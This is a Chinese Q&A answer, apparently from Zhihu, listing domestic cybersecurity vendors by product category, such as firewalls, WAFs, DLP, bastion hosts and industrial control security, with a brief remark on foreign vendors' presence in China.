t、安信华网络缓存加速·服务:知道创宇、阿里云、百度云、腾讯云、帝恩思、DNSPod网络准入控制:北信源、无锡宝界、蓝盾、互普&溢信(IP-Guard)、启明星辰、金盾软件、广州国迈、盈高科技、画方科技、联软、中软、上讯信息、交大捷普、信安世纪、中孚信息、上海纽盾、艾科网信、海峡信息、博智软件、江民科技、亚东软件负载均衡:深信服、北京中科四方、东华软件、信安世纪、灵州网络、北京华夏创新、北京楷然昊天、上海云速、湖南麒麟、杭州迪普、启明星辰、南京易安联、上海纽盾、Panabit、北京擎企、H3C、弘积科技、北京远为软件、福建伊时代应用交付:智恒科技、深信服、信安世纪、瑞友天翼、360、天融信、东软、任子行、优炫、中科曙光、弘积科技加密机/密码机:江南科友、网御星云、天融信、三未信安、山东得安、卫士通、山东渔翁、无锡江南、江南天安、江南博仁、兴唐通信、中安网脉、君众甲匠、立思辰、江南信安、山东确信、信安世纪DNS安全:电信云堤、厦门帝恩思、知道创宇不良信息识别与监测:金惠科技主机安全桌面管理/主机审计:北信源、汉邦、联软、蓝盾、互普&溢信(IP-Guard)、启明星辰、网御星云、360、天融信、金盾软件、广州国迈、软云神州、哈尔滨朗威、上海创多、深圳金天眼、杭州正杰、浙江远望电子、北京盖特佳、峰盛科技、中软、卫士通、沈阳通软、圣博润、上讯信息、交大捷普、中孚信息、上海浩迈、金山、海峡信息、博智软件、江民科技、江南信安、山丽信息、亚东软件、706所、中电瑞铠单机防病毒:瑞星、江民科技、金山、360、百度、腾讯、东方微点、费尔、火绒、亚信安全、安天、博智软件网络防病毒:瑞星、360、金山、江民科技、东方微点、北信源、亚信安全、安天、博智软件主机文档加密与权限控制/HDLP:亿赛通、天锐绿盾、时代亿信、明朝万达、蓝盾、互普&溢信(IP-Guard)、北信源、金盾软件、启明星辰、北京盖特佳、峰盛科技、中软、卫士通、上海祥殷、上海前沿、杭州华途、江苏敏捷、思智泰克、交大捷普、中孚信息、福州深空、天融信、思睿嘉得、合力思腾、深圳虹安、上讯信息、成都力合智远、莱克斯、365数据安全/四川西图、山东申启、金山、天空卫士、锐思特、赛猊腾龙、海峡信息、深信达、博智软件、江民科技、天喻软件、上海谐桐、亚东软件、武汉百易时代源代码加密及嵌入式开发源码加密:深信达、明朝万达、亿赛通、IP-Guard、山丽信息、天锐绿盾、互普&溢信(IP-Guard)、中软、虹安主机安全加固:浪潮、椒图、安全狗、广州国迈、中软华泰、上海观安、可信华泰、中嘉华诚、中航嘉信、易路平安、亚信安全、安天、优炫、安普诺、中超伟业、中科曙光、神荼科技、青藤云安全、安恒信息终端登录/身份认证:上海格尔、吉大正元、卫士通、信安世纪、上讯信息、南京易安联、北信源、九州云腾、中孚信息、博智软件、哈尔滨朗威移动存储介质管理:北信源、北京天桥、启明星辰、金盾软件、广州国迈、哈尔滨朗威、上海创多、亿赛通、交大捷普、上海浩迈、上海格尔、安天、金山、天喻软件、山丽信息、亚东软件补丁管理:北信源、360、启明星辰、金盾软件、上海创多、交大捷普、亚信安全、金山打印安全/打印管理/打印审计:北京恒安讯佳、北信源、中孚信息、安普锐、天锐绿盾、金山、保旺达、哈尔滨朗威、天喻软件、瑞达信息、山丽信息、武汉百易时代、鼎盾科技、思为同飞应用安全网页防篡改:安恒信息、智恒科技、赛蓝、山东中创、绿盟科技、启明星辰、上海天存、上海天泰、福州深空、北京通元、国舜股份、蓝盾、安全狗、WebRay远江、杭州迪普、上讯信息、交大捷普、青松云安全、海峡信息、江民科技、立思辰、六壬网安Web应用防火墙·WAF·硬件:安恒信息、启明星辰、绿盟科技、天融信、铱迅信息、知道创宇、上海天泰、杭州迪普、山东中创、WebRay远江、蓝盾、北京千来信安、中新网安、软云神州、中软华泰、上讯信息、上海天存、利谱、交大捷普、任子行、中铁信睿安、上海纽盾、360、卫达安全、金电网安、安赛创想、东软、海峡信息、安信华、博智软件、山石网科、江民科技、立思辰、六壬网安、安码科技、神荼科技Web应用防火墙·WAF·软件:福州深空、安恒信息、铱迅信息、安全狗、云锁、青松云安全、上海天存、安码科技Web应用防火墙·服务&云WAF:安恒信息、阿里云、腾讯云、360、知道创宇、上海有云、湖盟、百度安全/安全宝、蓝盾、北京千来信安、中软华泰、上讯信息、快云、斗象科技/网藤风险感知、网宿科技、上海云盾、青松云安全、电信云堤、UCloud、数梦工场WEB漏洞扫描:安恒信息、四叶草安全、国舜股份、绿盟科技、知道创宇、WebRay远江、安赛创想、安犬漏洞扫描云平台、启明星辰、经纬信安、上海观安、斗象科技/漏洞盒子/网藤风险感知、恒安嘉新、安识科技、H3C、六壬网安、安码科技网站安全监测产品:安恒信息、绿盟科技、知道创宇、360、WebRay远江、任子行、四叶草安全、安全狗、恒安嘉新、安信华、H3C、江民科技、安普诺、立思辰、浙江乾冠网站安全监测服务:安恒信息、绿盟科技、知道创宇、360、百度安全/安全宝、WebRay远江、北京千来信安、任子行、安全狗、恒安嘉新、四叶草安全、浙江乾冠邮件安全产品:守内安、网际思安、蓝盾、敏讯、冠群金辰、盈世CoreMail、时代亿信、上海格尔、安宁、凌久、国瑞信安、蓝海星、北京方向标、上海青羽/靠谱邮件、亚信安全、安宁、安普诺、武汉百易时代数据库漏洞扫描:安恒信息、安信通、安华金和、建恒信安、中安星云、杭州闪捷数据库防火墙:安恒信息、安华金和、中安比特/中安威士、帕拉迪/汉领信息、杭州美创、中安星云、杭州闪捷数据库加密和脱敏:中安比特/中安威士、安华金和、迈科龙、中安星云、杭州美创、上海观安、优炫、广州鼎甲、杭州闪捷数据库审计:安恒信息、安华金和、思福迪、启明星辰、网御星云、天融信、极地银河、山东中创、蓝盾、北信源、莱克斯、软云神州、绿盟科技、上讯信息、中安比特/中安威士、交大捷普、金盾软件、昂楷科技、帕拉迪/汉领信息、上海纽盾、东软、杭州美创、优炫、海峡信息、安信华、博智软件、中安星云、东华软件、六壬网安、思为同飞、706所、杭州闪捷半自动&自动化渗透平台:安恒信息、安络科技、四叶草安全应用统一身份管理/身份认证/单点登录/认证网关/PKI/CA/数字证书/令牌/各种KEY:天诚安信、派拉软件、神州融信、上海格尔、天威诚信、信安世纪、东软、吉大正元、安识科技、北京安讯奔、九州云腾、中科曙光、洋葱安全、极验验证、立思辰、江南信安、山东确信 | 各省都有CA,这个就单列了、中科恒伦、上海林果、福建伊时代代码防火墙:上海观安加密安全设备/NDLP:福建伊时代、时代亿信、365数据安全、天空卫士、思为同飞反钓鱼/反欺诈:电信云堤、国舜股份、知道创宇、百度、阿里、腾讯、360、安天、亚信安全、安恒信息、江民科技、华青融天语音安全:北京无限互联数据安全数据备份:上海爱数、杭州美创、火星高科&亚细亚智业、苏州美天网络、信核数据、上讯信息、英方股份、上海联鼎、亿备&广州鼎鼎、和力记易、广州鼎甲、安码科技、南京壹进制、浪擎科技、福建伊时代虚拟机备份与恢复:成都云祺、英方股份、和力记易、广州鼎甲、北京远为软件数据清除工具:中孚信息、北京天桥、上海浩迈、万里红、中超伟业、博智软件、方德信安、哈尔滨朗威移动安全/虚拟化安全/云安全虚拟化安全防护:安恒信息、启明星辰、广州国迈、北信源、中软、南京易安联、山石网科、阿姆瑞特、上海观安、东软、安全狗、云锁、亚信安全、金山、蓝盾、北京远为软件手机防病毒:腾讯、瑞星、金山、360、网秦、百度、中软、安天、恒安嘉新、亚信安全、蓝盾移动终端管理/EMM/MDM:国信灵通/启迪国信、北信源、360、明朝万达、中软、安天、上讯信息、北京珊瑚灵御、亚信安全、金山、蓝盾、江民科技、江南信安CASB/云业务安全接入代理:炼石网络、云安宝、信云科技、绿盟科技、启明星辰手机APP安全:梆梆安全、北京智游网安/爱加密、阿里聚安全、360、任子行、北京鼎源科技、腾讯御安全、恒安嘉新、安普诺、安码科技基于云的安全服务:青松云安全、青藤云安全、百度云、腾讯云、阿里云、360、华为、安全宝、山石网科、万般上品、东软、卫达安全、白帽汇、海峡信息、四叶草安全、中国电信·安全帮 | 此条目待调整、待完善!大数据安全:安恒信息、启明星辰、绿盟科技、360、派拉软件、观数科技、瀚思、天行网安、上海观安、聚铭网络、中孚信息、恒安嘉新、志翔科技、知道创宇、科来公司、安码科技、杭州美创 | 这是一个比较纠结的分类,因为牵扯到的内容太多……现在主流的安全厂家几乎都能做一部分,但是……这个分类可能近期会做细化安全管理SIEM/日志管理/日志审计/SOC/安管平台:安恒信息、思福迪、360、天融信、启明星辰、东软、蓝盾、蚁巡、江南天安、北信源、上讯信息、赛克蓝德、神州泰岳、交大捷普、派拉软件、瀚思、中铁信睿安、聚铭网络、华清信安、上海纽盾、亚信安全、优炫、安信华、H3C、华青融天、安码科技、北京中安智达、706所、福建伊时代运维审计/4A/堡垒机:安恒信息、思福迪、帕拉迪/汉领信息、浙江齐治、尚思科技、江南科友、绿盟科技、天融信、启明星辰、建恒信安、蓝盾、华为、泰然神州、上海艺赛旗、北京极地、信安世纪、圣博润、江南天安、国迈、上讯信息、神州泰岳、亿阳信通、麒麟、云安宝、交大捷普、德讯科技、任子行、派拉软件、上海观安、金盾软件、智恒科技、东软、金电网安、亚信安全、北京安讯奔、盛世光明、优炫、海峡信息、保旺达、安信华、中科曙光、六壬网安网管软件/ITIL:广通信达、网强、汉远网智、北塔、蚁巡、华为、锐捷、摩卡[华胜天成]、国聿、上讯信息、交大捷普、飞思安诺/飞思网巡、恒安嘉新、优炫、艾科网信、海峡信息、迈科网络、东华软件漏洞扫描与管理:安恒信息、榕基、启明星辰、绿盟科技、铱迅信息、极地银河、蓝盾、WebRay远江、江南天安、杭州迪普、天融信、交大捷普、安犬漏洞扫描云平台、经纬信安、上海观安、中铁信睿安、斗象科技/漏洞盒子/网藤风险感知、宿州东辉、四叶草安全、恒安嘉新、安天、蓝盾、君众甲匠、博智软件、中科网威、立思辰、六壬网安、安普诺网络和主机配置核查系统:安恒信息、思福迪、绿盟科技、启明星辰、聚铭网络、北京随方信息、博智软件主机安全保密检查工具:中孚信息、北信源、北京天桥、哈尔滨朗威、万里红、华安保、上海浩迈、博智软件、方德信安信息安全等级保护测评工具箱:安恒信息、国瑞信安、圣博润、公安一所、锐安 | 注:市面上多家厂家均生产此产品,但公安部仅指定了5家作为“合格的”生产单位!网络安全态势感知:安恒信息、知道创宇、360、绿盟科技、WebRay远江盛邦、四叶草安全、任子行、上海观安、兰云科技、聚铭网络、恒安嘉新、白帽汇、杭州合众、亚信安全、安天、郑州赛欧思、江民科技、科来公司、安码科技应急处置工具箱:安恒信息工控安全产品与厂商大全威努特、匡恩网络、谷神星、海天炜业、珠海鸿瑞、力控华康、启明星辰、绿盟科技、中科网威、三零卫士、安恒信息、北京网藤科技、天地和兴、安恒信息……工控防火墙:中科网威、威努特、匡恩网络、谷神星、海天炜业、力控华康、天地和兴、安点科技、网藤科技、卫达安全、博智软件、九略智能工控安全审计:威努特、天地和兴、匡恩网络、网藤科技、斗象科技/漏洞盒子/网藤风险感知、安点科技、博智软件、安恒信息、知道创宇、中科网威工控漏洞扫描/挖掘:天地和兴、匡恩网络、网藤科技、斗象科技/漏洞盒子/网藤风险感知、博智软件、知道创宇工控安管平台:天地和兴、匡恩网络、中科网威工控主机安全防护:天地和兴、网藤科技、安点科技、九略智能工控入侵检测/威胁感知/入侵防御:安点科技、天地和兴、网藤科技、博智软件、科来公司、中科网威工控网闸:安点科技、中科网威工控防泄密:匡恩网络工控检查工具箱:安恒信息、工控蜜罐:匡恩网络、工控攻防实验室:匡恩网络、网藤科技、博智软件工控态势感知:安恒信息、博智软件、360、知道创宇、浙江乾冠、九略智能中国自主可控网络安全产品与厂商数据来源于申威产业联盟、龙芯产业联盟、中关村可信计算产业联盟自主可信专委会;就自主可控行业的特殊性而言,很多大厂商是作为特供产品进行市场宣传,而小厂商只作为品牌规划,并没有特殊宣传,在数据收集时可能会导致内容不全面;对于名单中未涉及的厂商,可以单独联系, 告知欲添加的分类、公司名称(需在上述3个联盟中);感谢中关村可信联盟自主可信专委会相关工作人员整理!防火墙:中科神威、天融信、网御星云、东软、中科曙光、蓝盾、中航鸿电、中船综合院、706所入侵检测/防御:中科神威、网神、中科曙光、安恒信息 、绿盟科技、汉柏漏洞扫描系统:中科神威、安恒信息 、绿盟科技安全管理平台:启明星辰、中科神威、360网闸/安全隔离与信息单向导入设备:国保金泰、中科神威、北京安盟、赛博兴安加密机:江南天安终端安全:北信源、江民科技Web应用防火墙:上海天泰堡垒机:建恒信安、江南寰宇负载均衡:般固科技防毒墙:江民科技备份一体机:壹进制网络流量分析:北京卓迅网络准入控制:画方科技存储:创新科、同有飞骥未分类子类舆情监控:中国舆情网、优捷信达、乐思、红麦、中科点击、泰一舆情、探宝、拓尔思、本果、软云神州、西盈、任子行、网藤风险感知、南京快页数码、博智软件、北京中安智达威胁情报:微步在线、上海观安、斗象科技/http://FreeBuf.com/漏洞盒子、恒安嘉新、白帽汇、天际友盟、知道创宇、360、安恒信息国产操作系统:Deepin深度、RedFlag红旗、Kylin麒麟、NeoKylin中标麒麟、StartOS起点/雨林木风OS、凝思磐石安全操作系统、共创Linux、思普Linux国产数据库:达梦数据库、东软OpenBASE、国信贝斯iBase、人大金仓KingBase、南大通用GBase业务风控安全:锦佰安、指掌易、邦盛、岂安、行邑、同盾、通付盾蜜罐:安恒信息、三零卫士、凌晨网络、绿盟科技、默安科技安全硬件平台/工控机:新汉、阿普奇、盛博、集智达、英德斯、福升威尔、华北科技、艾宝、华北工控、研祥、祈飞、研华,立华,惠尔,智威智能数据恢复:苏州美天网络、金山安全、易数科技、华客、飞客、众成、博智软件数据库准入:杭州美创数据库堡垒机:杭州美创红黑电源滤波插座:保旺达、启航智通电磁屏蔽柜:启航智通、信安邦数字取证:美亚柏科、盘石软件安全计算机:瑞达信息 查看全部
链接:https://www.zhihu.com/question/20334043/answer/183326406
来源:知乎
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
国内哪些公司在做企业版安全产品开发?
问题太大了,做企业版安全产品的N多,有硬件设备、有软件、也有做SAAS在线服务的。
国外的一些安全软件是否在中国只做代理销售,基本不会在国内开发?
国外的安全软件除非个别的,基本在国内都有代理销售。
有没有国外的安全软件开发公司在中国有分公司或办事处?规模比较大的国外安全公司很多在国内有办事处。 
这个是一个兄弟整理的安全产品厂商分类,找不到出处了。
1. 防火墙类(UTM&FW&NGFW)厂商
2. WAF(web 应用防火墙)厂商
3. 数据库审计类厂家
4. 运维审计厂商
5. 网站安全厂商
6. 邮件类安全厂商
7. 身份鉴别厂家
8. 防毒墙&杀毒软件厂商
9. 安全咨询类厂家
10. 网闸安全厂家
11. 等级保护评估系统
12. 数据防泄漏(DLP)
13. 漏洞扫描(主机&web)
14. SOC(安全运维平台)&SIEM(安全事件管理)
15. 内网安全管理(含准入)
16. 上网行为管理
17. 远程接入安全(VPN)
18. 入侵检测和防御(IDS&IPS)
19. 抗拒绝服务攻击(DDoS)
20. 网页防篡改 
其他公司细分(跟游侠打过招呼了,感谢辛苦整理):<img src="https://pic4.zhimg.com/50/v2-1e029de4aae7f248926b2459cbe6977f_hd.jpg" data-rawwidth="480" data-rawheight="360" class="origin_image zh-lightbox-thumb" width="480" data-original="https://pic4.zhimg.com/v2-1e029de4aae7f248926b2459cbe6977f_r.jpg">
物理安全
  • 存储介质信息消除/粉碎机:北信源、和升达、科密、30所、利谱、交大捷普、兰天致信、中超伟业、博智软件、方德信安、深圳汇远佳禾
网络安全
  • 防火墙/UTM/安全网关/下一代防火墙:天融信、山石网科、启明星辰、网御星云、绿盟科技、安恒信息、蓝盾、华为、软云神州、杭州迪普、华清信安、东软、上讯信息、利谱、深信服、360、卫士通、H3C、交大捷普、信安世纪、任子行、上海纽盾、金电网安、亚信安全、北京擎企、金山、君众甲匠、优炫、海峡信息、安信华、博智软件、中科曙光、中科网威、江民科技、六壬网安、安码科技、点点星光
  • 入侵检测/防御:启明星辰、绿盟科技、网御星云、360、天融信、铱迅信息、蓝盾、杭州迪普、山石网科、安恒信息、交大捷普、任子行、经纬信安、漏洞盒子/网藤风险感知、华清信安、上海纽盾、东软、恒安嘉新、安天、金山、君众甲匠、海峡信息、博智软件、H3C、中科网威、江民科技、六壬网安、青藤云安全
  • 无线入侵检测/防御:360、北京锐云通信、山东闻道通信
  • VPN:深信服、天融信、蓝盾、360、华为、绿盟科技、卫士通、信安世纪、奥联科技、启明星辰、南京易安联、华清信安、上海纽盾、东软、海峡信息、博智软件、H3C、江南信安、弘积科技、山东确信
  • 上网行为管理:360、深信服、蓝盾、华为、莱克斯、网际思安、软云神州、杭州迪普、北信源、网鼎芯睿、陕通、上海新网程、奥联科技、交大捷普、任子行、上海纽盾、东软、Panabit、北京擎企、金山、盛世光明、博智软件、H3C、万网博通、极安、江民科技、迈科网络、六壬网安、弘积科技
  • 网络安全审计:天融信、莱克斯、启明星辰、交大捷普、绿盟科技、蓝盾、广州国迈、软云神州、任子行、雨人、上海观安、上海纽盾、360、恒安嘉新、盛世光明、海峡信息、博智软件、杭州迪普、中科新业、重庆智多
  • 网络流量控制:360、深信服、流控大师、Panabit、蓝盾、软云神州、网鼎芯睿、互普&溢信(IP-Guard)、东华软件、上海纽盾、灵州网络、恒安嘉新、北京擎企、金山、盛世光明、杭州迪普、万网博通、极安、迈科网络
  • 网络流量分析:科来公司、东华软件、绿盟科技、网鼎芯睿、上海观安、上海纽盾、恒安嘉新、Panabit、亚信安全、安天、江民科技、华青融天、迈科网络
  • 防病毒网关/防毒墙:网御星云、蓝盾、冠群金辰、杭州迪普、瑞星、360、安恒信息、山石网科、亚信安全、安天、金山、天融信、海峡信息、安信华、博智软件、江民科技
  • APT未知威胁发现:安恒信息、科来公司、360、天融信、启明星辰、东巽科技、安天、绿盟科技、华为、神州网云、成都力合智远、经纬信安、兰云科技、中铁信睿安、卫达安全、恒安嘉新、宝利九章、亚信安全、安赛创想、金山、海峡信息、博智软件、知道创宇、江民科技、六壬网安
  • 抗DDoS产品:绿盟科技、华为、中新网安、铱迅信息、启明星辰、傲盾、蓝盾、杭州迪普、华清信安、安恒信息、兰云科技、上海纽盾、卫达安全、任子行、青松云安全、天融信、360、北大千方、知道创宇、神荼科技
  • 抗DDoS服务:阿里云、腾讯云、金山云、百度安全/安全宝、360、安恒信息、兰云科技、网宿科技、上海云盾、中新网安、卫达安全、安全狗、青松云安全、电信云堤、UCloud、智卓云盾、知道创宇、蓝盾
  • 网闸:360、北京安盟、利谱、启明星辰、杭州合众、北京盖特佳、天融信、交大捷普、天行网安、伟思、金电网安、赛博兴安、东软、海峡信息、安信华、重庆爱思
  • 安全隔离与信息单向导入设备/单向传输机器:深圳中锐源、中铁信安、中孚信息、杭州合众、国保金泰、天融信、赛博兴安、普世科技、锐安、金电网安、北京安盟、中科网威、山石网科、哈尔滨朗威、利谱、北京远为软件
  • 网络缓存加速·产品:缓存大师WebCache、锐捷、优络普、Panabit、安信华
  • 网络缓存加速·服务:知道创宇、阿里云、百度云、腾讯云、帝恩思、DNSPod
  • 网络准入控制:北信源、无锡宝界、蓝盾、互普&溢信(IP-Guard)、启明星辰、金盾软件、广州国迈、盈高科技、画方科技、联软、中软、上讯信息、交大捷普、信安世纪、中孚信息、上海纽盾、艾科网信、海峡信息、博智软件、江民科技、亚东软件
  • 负载均衡:深信服、北京中科四方、东华软件、信安世纪、灵州网络、北京华夏创新、北京楷然昊天、上海云速、湖南麒麟、杭州迪普、启明星辰、南京易安联、上海纽盾、Panabit、北京擎企、H3C、弘积科技、北京远为软件、福建伊时代
  • 应用交付:智恒科技、深信服、信安世纪、瑞友天翼、360、天融信、东软、任子行、优炫、中科曙光、弘积科技
  • 加密机/密码机:江南科友、网御星云、天融信、三未信安、山东得安、卫士通、山东渔翁、无锡江南、江南天安、江南博仁、兴唐通信、中安网脉、君众甲匠、立思辰、江南信安、山东确信、信安世纪
  • DNS安全:电信云堤、厦门帝恩思、知道创宇
  • 不良信息识别与监测:金惠科技
主机安全
  • 桌面管理/主机审计:北信源、汉邦、联软、蓝盾、互普&溢信(IP-Guard)、启明星辰、网御星云、360、天融信、金盾软件、广州国迈、软云神州、哈尔滨朗威、上海创多、深圳金天眼、杭州正杰、浙江远望电子、北京盖特佳、峰盛科技、中软、卫士通、沈阳通软、圣博润、上讯信息、交大捷普、中孚信息、上海浩迈、金山、海峡信息、博智软件、江民科技、江南信安、山丽信息、亚东软件、706所、中电瑞铠
  • 单机防病毒:瑞星、江民科技、金山、360、百度、腾讯、东方微点、费尔、火绒、亚信安全、安天、博智软件
  • 网络防病毒:瑞星、360、金山、江民科技、东方微点、北信源、亚信安全、安天、博智软件
  • 主机文档加密与权限控制/HDLP:亿赛通、天锐绿盾、时代亿信、明朝万达、蓝盾、互普&溢信(IP-Guard)、北信源、金盾软件、启明星辰、北京盖特佳、峰盛科技、中软、卫士通、上海祥殷、上海前沿、杭州华途、江苏敏捷、思智泰克、交大捷普、中孚信息、福州深空、天融信、思睿嘉得、合力思腾、深圳虹安、上讯信息、成都力合智远、莱克斯、365数据安全/四川西图、山东申启、金山、天空卫士、锐思特、赛猊腾龙、海峡信息、深信达、博智软件、江民科技、天喻软件、上海谐桐、亚东软件、武汉百易时代
  • 源代码加密及嵌入式开发源码加密:深信达、明朝万达、亿赛通、IP-Guard、山丽信息、天锐绿盾、互普&溢信(IP-Guard)、中软、虹安
  • 主机安全加固:浪潮、椒图、安全狗、广州国迈、中软华泰、上海观安、可信华泰、中嘉华诚、中航嘉信、易路平安、亚信安全、安天、优炫、安普诺、中超伟业、中科曙光、神荼科技、青藤云安全、安恒信息
  • 终端登录/身份认证:上海格尔、吉大正元、卫士通、信安世纪、上讯信息、南京易安联、北信源、九州云腾、中孚信息、博智软件、哈尔滨朗威
  • 移动存储介质管理:北信源、北京天桥、启明星辰、金盾软件、广州国迈、哈尔滨朗威、上海创多、亿赛通、交大捷普、上海浩迈、上海格尔、安天、金山、天喻软件、山丽信息、亚东软件
  • 补丁管理:北信源、360、启明星辰、金盾软件、上海创多、交大捷普、亚信安全、金山
  • 打印安全/打印管理/打印审计:北京恒安讯佳、北信源、中孚信息、安普锐、天锐绿盾、金山、保旺达、哈尔滨朗威、天喻软件、瑞达信息、山丽信息、武汉百易时代、鼎盾科技、思为同飞
应用安全
  • 网页防篡改:安恒信息、智恒科技、赛蓝、山东中创、绿盟科技、启明星辰、上海天存、上海天泰、福州深空、北京通元、国舜股份、蓝盾、安全狗、WebRay远江、杭州迪普、上讯信息、交大捷普、青松云安全、海峡信息、江民科技、立思辰、六壬网安
  • Web应用防火墙·WAF·硬件:安恒信息、启明星辰、绿盟科技、天融信、铱迅信息、知道创宇、上海天泰、杭州迪普、山东中创、WebRay远江、蓝盾、北京千来信安、中新网安、软云神州、中软华泰、上讯信息、上海天存、利谱、交大捷普、任子行、中铁信睿安、上海纽盾、360、卫达安全、金电网安、安赛创想、东软、海峡信息、安信华、博智软件、山石网科、江民科技、立思辰、六壬网安、安码科技、神荼科技
  • Web应用防火墙·WAF·软件:福州深空、安恒信息、铱迅信息、安全狗、云锁、青松云安全、上海天存、安码科技
  • Web应用防火墙·服务&云WAF:安恒信息、阿里云、腾讯云、360、知道创宇、上海有云、湖盟、百度安全/安全宝、蓝盾、北京千来信安、中软华泰、上讯信息、快云、斗象科技/网藤风险感知、网宿科技、上海云盾、青松云安全、电信云堤、UCloud、数梦工场
  • WEB漏洞扫描:安恒信息、四叶草安全、国舜股份、绿盟科技、知道创宇、WebRay远江、安赛创想、安犬漏洞扫描云平台、启明星辰、经纬信安、上海观安、斗象科技/漏洞盒子/网藤风险感知、恒安嘉新、安识科技、H3C、六壬网安、安码科技
  • 网站安全监测产品:安恒信息、绿盟科技、知道创宇、360、WebRay远江、任子行、四叶草安全、安全狗、恒安嘉新、安信华、H3C、江民科技、安普诺、立思辰、浙江乾冠
  • 网站安全监测服务:安恒信息、绿盟科技、知道创宇、360、百度安全/安全宝、WebRay远江、北京千来信安、任子行、安全狗、恒安嘉新、四叶草安全、浙江乾冠
  • 邮件安全产品:守内安、网际思安、蓝盾、敏讯、冠群金辰、盈世CoreMail、时代亿信、上海格尔、安宁、凌久、国瑞信安、蓝海星、北京方向标、上海青羽/靠谱邮件、亚信安全、安宁、安普诺、武汉百易时代
  • 数据库漏洞扫描:安恒信息、安信通、安华金和、建恒信安、中安星云、杭州闪捷
  • 数据库防火墙:安恒信息、安华金和、中安比特/中安威士、帕拉迪/汉领信息、杭州美创、中安星云、杭州闪捷
  • 数据库加密和脱敏:中安比特/中安威士、安华金和、迈科龙、中安星云、杭州美创、上海观安、优炫、广州鼎甲、杭州闪捷
  • 数据库审计:安恒信息、安华金和、思福迪、启明星辰、网御星云、天融信、极地银河、山东中创、蓝盾、北信源、莱克斯、软云神州、绿盟科技、上讯信息、中安比特/中安威士、交大捷普、金盾软件、昂楷科技、帕拉迪/汉领信息、上海纽盾、东软、杭州美创、优炫、海峡信息、安信华、博智软件、中安星云、东华软件、六壬网安、思为同飞、706所、杭州闪捷
  • 半自动&自动化渗透平台:安恒信息、安络科技、四叶草安全
  • 应用统一身份管理/身份认证/单点登录/认证网关/PKI/CA/数字证书/令牌/各种KEY:天诚安信、派拉软件、神州融信、上海格尔、天威诚信、信安世纪、东软、吉大正元、安识科技、北京安讯奔、九州云腾、中科曙光、洋葱安全、极验验证、立思辰、江南信安、山东确信 | 各省都有CA,这个就单列了、中科恒伦、上海林果、福建伊时代
  • 代码防火墙:上海观安
  • 加密安全设备/NDLP:福建伊时代、时代亿信、365数据安全、天空卫士、思为同飞
  • 反钓鱼/反欺诈:电信云堤、国舜股份、知道创宇、百度、阿里、腾讯、360、安天、亚信安全、安恒信息、江民科技、华青融天
  • 语音安全:北京无限互联
数据安全
  • 数据备份:上海爱数、杭州美创、火星高科&亚细亚智业、苏州美天网络、信核数据、上讯信息、英方股份、上海联鼎、亿备&广州鼎鼎、和力记易、广州鼎甲、安码科技、南京壹进制、浪擎科技、福建伊时代
  • 虚拟机备份与恢复:成都云祺、英方股份、和力记易、广州鼎甲、北京远为软件
  • 数据清除工具:中孚信息、北京天桥、上海浩迈、万里红、中超伟业、博智软件、方德信安、哈尔滨朗威
移动安全/虚拟化安全/云安全
  • 虚拟化安全防护:安恒信息、启明星辰、广州国迈、北信源、中软、南京易安联、山石网科、阿姆瑞特、上海观安、东软、安全狗、云锁、亚信安全、金山、蓝盾、北京远为软件
  • 手机防病毒:腾讯、瑞星、金山、360、网秦、百度、中软、安天、恒安嘉新、亚信安全、蓝盾
  • 移动终端管理/EMM/MDM:国信灵通/启迪国信、北信源、360、明朝万达、中软、安天、上讯信息、北京珊瑚灵御、亚信安全、金山、蓝盾、江民科技、江南信安
  • CASB/云业务安全接入代理:炼石网络、云安宝、信云科技、绿盟科技、启明星辰
  • 手机APP安全:梆梆安全、北京智游网安/爱加密、阿里聚安全、360、任子行、北京鼎源科技、腾讯御安全、恒安嘉新、安普诺、安码科技
  • 基于云的安全服务:青松云安全、青藤云安全、百度云、腾讯云、阿里云、360、华为、安全宝、山石网科、万般上品、东软、卫达安全、白帽汇、海峡信息、四叶草安全、中国电信·安全帮 | 此条目待调整、待完善!
  • 大数据安全:安恒信息、启明星辰、绿盟科技、360、派拉软件、观数科技、瀚思、天行网安、上海观安、聚铭网络、中孚信息、恒安嘉新、志翔科技、知道创宇、科来公司、安码科技、杭州美创 | 这是一个比较纠结的分类,因为牵扯到的内容太多……现在主流的安全厂家几乎都能做一部分,但是……这个分类可能近期会做细化
安全管理
  • SIEM/日志管理/日志审计/SOC/安管平台:安恒信息、思福迪、360、天融信、启明星辰、东软、蓝盾、蚁巡、江南天安、北信源、上讯信息、赛克蓝德、神州泰岳、交大捷普、派拉软件、瀚思、中铁信睿安、聚铭网络、华清信安、上海纽盾、亚信安全、优炫、安信华、H3C、华青融天、安码科技、北京中安智达、706所、福建伊时代
  • 运维审计/4A/堡垒机:安恒信息、思福迪、帕拉迪/汉领信息、浙江齐治、尚思科技、江南科友、绿盟科技、天融信、启明星辰、建恒信安、蓝盾、华为、泰然神州、上海艺赛旗、北京极地、信安世纪、圣博润、江南天安、国迈、上讯信息、神州泰岳、亿阳信通、麒麟、云安宝、交大捷普、德讯科技、任子行、派拉软件、上海观安、金盾软件、智恒科技、东软、金电网安、亚信安全、北京安讯奔、盛世光明、优炫、海峡信息、保旺达、安信华、中科曙光、六壬网安
  • 网管软件/ITIL:广通信达、网强、汉远网智、北塔、蚁巡、华为、锐捷、摩卡[华胜天成]、国聿、上讯信息、交大捷普、飞思安诺/飞思网巡、恒安嘉新、优炫、艾科网信、海峡信息、迈科网络、东华软件
  • 漏洞扫描与管理:安恒信息、榕基、启明星辰、绿盟科技、铱迅信息、极地银河、蓝盾、WebRay远江、江南天安、杭州迪普、天融信、交大捷普、安犬漏洞扫描云平台、经纬信安、上海观安、中铁信睿安、斗象科技/漏洞盒子/网藤风险感知、宿州东辉、四叶草安全、恒安嘉新、安天、蓝盾、君众甲匠、博智软件、中科网威、立思辰、六壬网安、安普诺
  • 网络和主机配置核查系统:安恒信息、思福迪、绿盟科技、启明星辰、聚铭网络、北京随方信息、博智软件
  • 主机安全保密检查工具:中孚信息、北信源、北京天桥、哈尔滨朗威、万里红、华安保、上海浩迈、博智软件、方德信安
  • 信息安全等级保护测评工具箱:安恒信息、国瑞信安、圣博润、公安一所、锐安 | 注:市面上多家厂家均生产此产品,但公安部仅指定了5家作为“合格的”生产单位!
  • 网络安全态势感知:安恒信息、知道创宇、360、绿盟科技、WebRay远江盛邦、四叶草安全、任子行、上海观安、兰云科技、聚铭网络、恒安嘉新、白帽汇、杭州合众、亚信安全、安天、郑州赛欧思、江民科技、科来公司、安码科技
  • 应急处置工具箱:安恒信息
